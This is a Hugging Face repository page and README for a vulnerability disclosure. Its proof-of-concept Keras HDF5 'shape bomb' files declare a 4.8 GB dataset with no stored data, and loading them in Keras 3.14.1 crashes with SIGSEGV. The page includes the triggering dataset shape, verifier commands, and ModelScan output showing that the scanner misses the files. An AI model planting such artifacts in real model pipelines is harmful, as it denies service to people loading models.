Downloads · 30 days
4
8% of all-time downloads
pragnyanramtha/hdf5-keras-h5iostore-shape-bomb-poc
hdf5-keras-h5iostore-shape-bomb-poc is a machine learning model from pragnyanramtha. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for keras.
This repository contains benign crash-only PoCs for a current Keras HDF5 loading path. Tiny HDF5 model-weight artifacts declare a 4.8 GB float32 dataset while storing no user chunks. Current Keras 3.14.1 still materia…
Downloads · 30 days
4
8% of all-time downloads
All-time downloads
48
Public
Repo size
11.5 KB
Likes
0
Public
Click a slice to open those files.
.h511.5 KB · 35%
From the Hugging Face model README
This repository contains benign crash-only PoCs for a current Keras HDF5 loading path. Tiny HDF5 model-weight artifacts declare a 4.8 GB float32 dataset while storing no user chunks. Current Keras 3.14.1 still materializes that attacker-controlled dataset shape in runtime H5IOStore loading, causing a bounded child process to terminate with SIGSEGV.
shape_bomb_current.weights.h5: 11.3 KiB Keras HDF5 weights artifact.shape_bomb_current.keras: 1.3 KiB .keras ZIP archive containing an HDF5 model.weights.h5 member with the same shape-bomb dataset.verify_weights_h5_shape_bomb.py: regenerates the .weights.h5 artifact and verifies model.load_weights().verify_keras_shape_bomb.py: regenerates the .keras artifact and verifies keras.models.load_model().results/verify_weights_load_weights_sigsegv.json: captured .weights.h5 verifier output.results/verify_keras_load_model_sigsegv.json: captured .keras verifier output.results/keras_file_editor_guard_output.txt: control showing the public KerasFileEditor guard rejects the same oversized dataset.results/modelscan_shape_bomb_current_weights.json: ModelScan output for the weights artifact.results/modelscan_shape_bomb_current_keras.json: ModelScan output for the .keras artifact..weights.h5 and .keras archive member model.weights.h53.14.13.12.3numpy3.16.02.0.00.8.83.14.1 as the latest available version.The artifacts declare this HDF5 dataset:
path: layers/dense/vars/0
shape: (1200000000,)
dtype: float32
declared bytes: 4800000000
stored bytes: 0
chunks: (1024,)
KerasFileEditor contains a public 4 GiB guard and rejects the same .keras artifact. The runtime load paths still reach np.array(value) on the HDF5 dataset without an equivalent byte cap:
keras.models.load_model("shape_bomb_current.keras", compile=False)model.load_weights("shape_bomb_current.weights.h5")Both verifier scripts set RLIMIT_AS inside a child process after imports. This keeps the proof bounded and prevents host-wide memory exhaustion. The child exits with return code -11 (SIGSEGV) in both paths.
This is availability impact only. No code execution, file read, file write, persistence, or network behavior is claimed.
hf download pragnyanramtha/hdf5-keras-h5iostore-shape-bomb-poc \
--repo-type model \
--local-dir hdf5-keras-h5iostore-shape-bomb-poc
cd hdf5-keras-h5iostore-shape-bomb-poc
python3 -m pip install keras==3.14.1 h5py==3.16.0 numpy
KERAS_BACKEND=numpy python3 verify_weights_h5_shape_bomb.py --elements 1200000000 --limit-mb 768
KERAS_BACKEND=numpy python3 verify_keras_shape_bomb.py --elements 1200000000 --limit-mb 2048
Expected result:
"returncode": -11
"declared_bytes_float32": 4800000000
"storage_size": 0
The KerasFileEditor guard control:
KERAS_BACKEND=numpy python3 - <<'PY'
from keras.saving import KerasFileEditor
try:
KerasFileEditor("shape_bomb_current.keras")
print("loaded unexpectedly")
except BaseException as e:
print(type(e).__name__)
print(str(e))
PY
Expected guard output:
ValueError
HDF5 dataset too large to load safely (4800000000 bytes; limit is 4294967296).
ModelScan 0.8.8 reports zero issues for both artifacts.
modelscan -p shape_bomb_current.weights.h5 -r json --show-skipped -o results/modelscan_shape_bomb_current_weights.json
modelscan -p shape_bomb_current.keras -r json --show-skipped -o results/modelscan_shape_bomb_current_keras.json
Observed summaries:
shape_bomb_current.weights.h5: total_issues=0, total_scanned=0, skipped MODEL_CONFIG
shape_bomb_current.keras: total_issues=0, total_scanned=0, embedded model.weights.h5 skipped MODEL_CONFIG
SHA256(shape_bomb_current.weights.h5)=8384a9acd436f4d8043a19ed0cacb6caf75d8420d5f188631eeab01ce4120fcb
SHA256(shape_bomb_current.keras)=7b136b97da18cbef2cac36377dddd8e31ccb054c98f5749a1c783d0c16a83c7c
.keras scanner evidence has a TensorFlow-extra dependency warning in this environment; the runtime impact does not depend on ModelScan.